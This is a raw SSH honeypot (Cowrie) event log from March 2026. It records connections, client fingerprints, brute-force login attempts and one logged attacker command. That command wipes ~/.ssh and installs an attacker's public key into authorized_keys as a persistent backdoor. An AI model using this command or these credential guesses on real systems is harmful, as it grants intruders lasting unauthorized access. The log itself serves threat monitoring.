{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56378,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e386ca3e251","protocol":"ssh","message":"New connection: 80.94.92.184:56378 (10.17.0.5:22) [session: 2e386ca3e251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:12.691125Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:12.697899Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.137204Z","src_ip":"80.94.92.184","session":"2e386ca3e251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.140771Z","src_ip":"80.94.92.184","session":"2e386ca3e251","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.250582Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.254070Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.497331Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.501041Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":37128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c35d32ea9313","protocol":"ssh","message":"New connection: 196.29.34.170:37128 (159.203.135.109:22) [session: c35d32ea9313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.731861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.736216Z","src_ip":"196.29.34.170","session":"c35d32ea9313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:13.974805Z","src_ip":"196.29.34.170","session":"c35d32ea9313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:14.224992Z","src_ip":"80.94.92.184","session":"2e386ca3e251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:14.958237Z","src_ip":"196.29.34.170","session":"c35d32ea9313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:16.195300Z","src_ip":"80.94.92.184","session":"2e386ca3e251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:16.200257Z","src_ip":"196.29.34.170","session":"c35d32ea9313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":37914,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e3f824cb09","protocol":"ssh","message":"New connection: 196.29.34.170:37914 (159.203.135.109:22) [session: 39e3f824cb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:16.433260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:16.437096Z","src_ip":"196.29.34.170","session":"39e3f824cb09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:16.674792Z","src_ip":"196.29.34.170","session":"39e3f824cb09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:17.659045Z","src_ip":"196.29.34.170","session":"39e3f824cb09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:17.901863Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:17.906000Z","src_ip":"196.29.34.170","session":"39e3f824cb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44504,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cfd0ba7dd2d","protocol":"ssh","message":"New connection: 2.57.122.208:44504 (159.203.135.109:22) [session: 8cfd0ba7dd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:38.011650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:38.064951Z","src_ip":"2.57.122.208","session":"8cfd0ba7dd2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:38.166063Z","src_ip":"2.57.122.208","session":"8cfd0ba7dd2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:39.000485Z","src_ip":"2.57.122.208","session":"8cfd0ba7dd2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:40.170446Z","src_ip":"2.57.122.208","session":"8cfd0ba7dd2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":44024,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f60081a1fe","protocol":"ssh","message":"New connection: 196.29.34.170:44024 (159.203.135.109:22) [session: 89f60081a1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:26.387751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:26.392051Z","src_ip":"196.29.34.170","session":"89f60081a1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:26.631810Z","src_ip":"196.29.34.170","session":"89f60081a1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webappuser","password":"123","message":"login attempt [webappuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:27.616030Z","src_ip":"196.29.34.170","session":"89f60081a1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:28.856984Z","src_ip":"196.29.34.170","session":"89f60081a1fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52578,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe1cfc9e17df","protocol":"ssh","message":"New connection: 2.57.122.208:52578 (159.203.135.109:22) [session: fe1cfc9e17df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:53.897505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:53.903097Z","src_ip":"2.57.122.208","session":"fe1cfc9e17df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:54.038545Z","src_ip":"2.57.122.208","session":"fe1cfc9e17df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:54.382029Z","src_ip":"2.57.122.208","session":"fe1cfc9e17df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:05:55.509958Z","src_ip":"2.57.122.208","session":"fe1cfc9e17df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.123.65.63","src_port":34744,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb0d86bf3d9","protocol":"ssh","message":"New connection: 223.123.65.63:34744 (10.17.0.5:22) [session: 1cb0d86bf3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:02.903236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:02.907468Z","src_ip":"223.123.65.63","session":"1cb0d86bf3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:03.120418Z","src_ip":"223.123.65.63","session":"1cb0d86bf3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:05.653341Z","src_ip":"223.123.65.63","session":"1cb0d86bf3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59088,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e4bfe3e64e","protocol":"ssh","message":"New connection: 80.94.92.184:59088 (10.17.0.5:22) [session: c7e4bfe3e64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:11.074220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:06:11.175782Z","src_ip":"80.94.92.184","session":"c7e4bfe3e64e","protocol":"ssh"}
